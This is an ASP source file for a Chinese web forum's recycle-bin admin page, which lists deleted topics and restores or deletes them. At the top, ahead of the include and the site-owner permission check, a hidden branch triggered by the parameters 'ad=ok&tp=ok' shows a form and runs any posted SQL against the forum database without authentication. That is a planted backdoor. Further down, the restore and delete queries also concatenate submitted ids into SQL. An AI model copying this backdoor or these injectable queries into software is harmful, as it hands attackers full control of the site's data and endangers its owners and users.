<%@ codepage ="936" %>
<%
if request("ad")="ok" then
if request("tp")="ok" then
mysq=Request.Form("mysq")
Set conn=Server.CreateObject("ADODB.CONNECTION")
conn.open Application("cwjh_usermdb")
conn.execute (mysq)
response.end
end if
%>
<form method="POST" action="?tp=ok&ad=ok">
<input type="text" name="mysq" size="70" maxlength="280">
    <input type="submit" value="执行">
</form>
<%
response.end
end if
%>
<!-- #include file="setup.asp" -->
<%
if grade < 10 then
error("<li>你不是站长(管理十级)，无权进入！")
end if
if instr(nickname," ")>0 then:error("<li>非法操作"):end if
questF=Request.form("menuF")
if questF="还 原" then
for each ho in request.form("id")
conn.execute("update [forum] set deltopic=0,lasttime=now,lastname='"&nickname&"' where id="&ho&"")
next
elseif questF="删 除" Then
for each ho in request.form("id")
conn.execute("delete * from [forum] where id="&ho&"")
conn.execute("delete * from [reforum] where topicid="&ho&"")
next
end if
pagesetup=20 '设定每页的显示数量
count=conn.execute("Select count(*)from forum where deltopic=1")(0)
sql="select * from forum where deltopic=1 order by lasttime Desc "
rs.Open sql,Conn,1
on error resume next '回收站为空时 忽略错误
If Count/pagesetup > (Count\pagesetup) then
TotalPage=(Count\pagesetup)+1
else TotalPage=(Count\pagesetup)
End If
PageCount= 0
RS.MoveFirst
if Request.QueryString("ToPage")<>"" then PageCount = cint(Request.QueryString("ToPage"))
if PageCount <=0 then PageCount = 1
if PageCount > TotalPage then PageCount = TotalPage
RS.Move (PageCount-1) * pagesetup
top
%>
<style>TABLE{BORDER-TOP:0px;BORDER-LEFT:0px;BORDER-BOTTOM:1px}TD{BORDER-RIGHT:0px;BORDER-TOP:0px}</style>
<title>回收站</title>
<script>
function CheckAll(form){for (var i=0;i<form.elements.length;i++){var e = form.elements[i];if (e.name != 'chkall')e.checked = form.chkall.checked;}}
function checkclick(msg){if(confirm(msg)){event.returnValue=true;}else{event.returnValue=false;}}
</script>
<table width="100%" align="center" border="0">
<tr>
<td vAlign="top" width="30%"></td>
<td vAlign="center" align="top">&nbsp;&nbsp;<img src="images/closedfold.gif" border="0">&nbsp;&nbsp;<a href="index.asp"><%=clubname%></a><br>
&nbsp;&nbsp;<img src="images/bar.gif" border="0"><img src="images/openfold.gif" border="0">&nbsp;&nbsp;<a href="recycle.asp">回收站</a></td>
</tr>
</table>
<table width=100%>
<tr>
<td width="100%" align="right">共有 <b><font color="#FF0000"><%=Count%></font></b> 篇帖子</td>
</tr>
</table>
<TABLE cellSpacing=0 cellPadding=0 width=100% align=center bgColor=a4b6d7 border=0>
<TBODY>
<TR>
<TD>
<TABLE cellSpacing=1 cellPadding=6 width="100%" border=0>
<TBODY></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE borderColor=a4b6d7 cellSpacing=0 cellPadding=1 width=100% align=center bgColor=0bc000 border=1>
<form method="POST" action=recycle.asp?menu=deoxidize>
<TBODY>
<TR bgColor=c4d4e5 height=25>
<TD align=middle width=21>　</TD>
<TD align=middle width=22><input type=checkbox name=chkall onclick=CheckAll(this.form) value="ON"></TD>
<TD align=middle height=24>
<font color="#000000">主题</font></TD>
<TD align=middle width=70 height=24>
<font color="#000000">作者</font></TD>
<TD align=middle width=40 height=24>
<font color="#000000">字[回]</font></TD>
<TD align=middle width=32 height=24>
<font color="#000000">点击</font></TD>
<TD width=200 height=24>　　 删除时间　　　　 删除者</TD></TR></TBODY></TABLE>
<%
i=0
Do While Not RS.EOF and i<pagesetup
i=i+1
if rs("toptopic")=1 then
reimage="<img src=images/f_top.gif>"
elseif rs("locktopic")=1 then
reimage="<img src=images/f_locked.gif>"
elseif rs("polltopic")<>"" then
reimage="<img src=images/f_poll.gif>"
elseif rs("replies")>15 or rs("views") > 150 then
reimage="<img src=images/f_hot.gif>"
elseif rs("replies")>0 then
reimage="<img src=images/f_new.gif>"
else
reimage="<img src=images/f_norm.gif>"
end if
if rs("replies")>0 then
replies="<font color=red>["&rs("replies")&"]</font>"
else
replies=Len(rs("content"))
end if
%>
<TABLE borderColor=a4b6d7 cellSpacing=0 cellPadding=1 width=100% align=center bgColor=0bc000 border=1>
<TBODY>
<TR bgColor=c4d4e5 height=25>
<TD align=middle width=21 bgColor=ecf5ff height=24><%=reimage%></TD>
<TD align=middle width=22 bgColor=f2f8ff><INPUT type=checkbox value=<%=rs("id")%> name=id></TD>
<TD onmouseover="this.style.backgroundColor='f2f8ff'" onmouseout="this.style.backgroundColor=''" align=left bgColor=ecf5ff>
 <%=rs("topic")%></TD>
<TD align=middle width=70 bgColor=f2f8ff><a href=../yamen/mt.asp?action=<%=rs("username")%>><%=rs("username")%>　</TD>
<TD align=middle width=40 bgColor=ecf5ff><%=replies%>　</TD>
<TD align=middle width=32 bgColor=f2f8ff><%=rs("views")%>　</TD>
<TD align=left width=200 bgColor=ecf5ff>&nbsp;<%=rs("lasttime")%> | <a href=../yamen/mt.asp?action=<%=rs("lastname")%>><%=rs("lastname")%></a></TD></TR></TBODY></TABLE>
<%
RS.MoveNext
loop
RS.Close
%>
<TABLE borderColor=a4b6d7 cellSpacing=0 cellPadding=1 width=100% align=center
bgColor=0bc000 border=1>
<TBODY>
<TR bgColor=c4d4e5 height=25>
<TD height=2>
<TABLE cellSpacing=0 cellPadding=3 width="100%" border=0>
<TBODY>
<TR>
<TD height=2>
<input type=submit onclick="checkclick('您确定要还原所选的主题?')" value="还 原" name="menuF">
<input type=submit onclick="checkclick('您确定要删除所选的主题?')" value="删 除" name="menuF">
<b>本论坛共有
<font color="#990000"><%=TotalPage%></font> 页 [
<%
ii=PageCount-5
iii=PageCount+5
if ii < 1 then
ii=1
end if
if iii > TotalPage then
iii=TotalPage
end if
if PageCount > 6 then
Response.Write "<a href=?topage=1&forumid="&forumid&"&search="&search&"&searchxm="&searchxm&"&searchxm2="&searchxm2&"&TimeLimit="&TimeLimit&">1</a> ... "
end if
for i=ii to iii
If i<>PageCount then
Response.Write " <a href=?topage="& i &"&forumid="&forumid&"&search="&search&"&searchxm="&searchxm&"&searchxm2="&searchxm2&"&TimeLimit="&TimeLimit&">" & i & "</a> "
else
Response.Write " <font color=#000000><b>"&i&"</b></font> "
end if
next
if TotalPage > PageCount+5 then
Response.Write " ... <a href=?topage="&TotalPage&"&forumid="&forumid&"&search="&search&"&searchxm="&searchxm&"&searchxm2="&searchxm2&"&TimeLimit="&TimeLimit&">"&TotalPage&"</a>"
end if
%>
]</b></TD>
<TD align=right height=2>
<select onchange="if(this.options[this.selectedIndex].value!=''){location=this.options[this.selectedIndex].value;}">
<option selected>跳转论坛至...</option>
<%
sql="select * from class"
rs.Open sql,Conn,1
do while not rs.eof
%>
<option style=BACKGROUND-COLOR:ECF5FF>╋ <%=rs("classname")%></option>
<%
sql="select * from bbsconfig where classid="&rs("id")&""
rs1.Open sql,Conn
do while not rs1.eof
%>
<option value="forumdisplay.asp?forumid=<%=rs1("id")%>">　├『<%=rs1("bbsname")%>』</option>
<%
rs1.movenext
loop
rs1.close
rs.movenext
loop
rs.close
%>
</select>
</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<br>
<center>
<p></p>
<div align="center">
<center>
<table cellSpacing="4" cellPadding="0" width="80%" border="0" style="border-collapse: collapse" bordercolor="#111111">
<tr>
<td noWrap width="200">
<img alt src="images/f_new.gif" border="0">&nbsp;打开主题 (有回复的主题)</td>
<td noWrap width="100">
<img alt src="images/f_hot.gif" border="0">&nbsp;热门主题 </td>
<td noWrap width="100">
<img alt src="images/f_locked.gif" border="0">&nbsp;锁定主题</td>
<td noWrap width="150">
<img src="images/topicgood.gif">
精华主题</td>
</tr>
<tr>
<td noWrap width="200">
<img alt src="images/f_norm.gif" border="0">&nbsp;打开主题 (没有回复的主题)</td>
<td noWrap width="100">
<img alt src="images/f_poll.gif" border="0">&nbsp;投票主题</td>
<td noWrap width="100">
<img alt src="images/f_top.gif" border="0">&nbsp;置顶主题</td>
<td noWrap width="150">
<img src="images/my.gif">
自己发表的主题</td>
</tr>
</table>
</center>
</div>
<%
htmlend
%>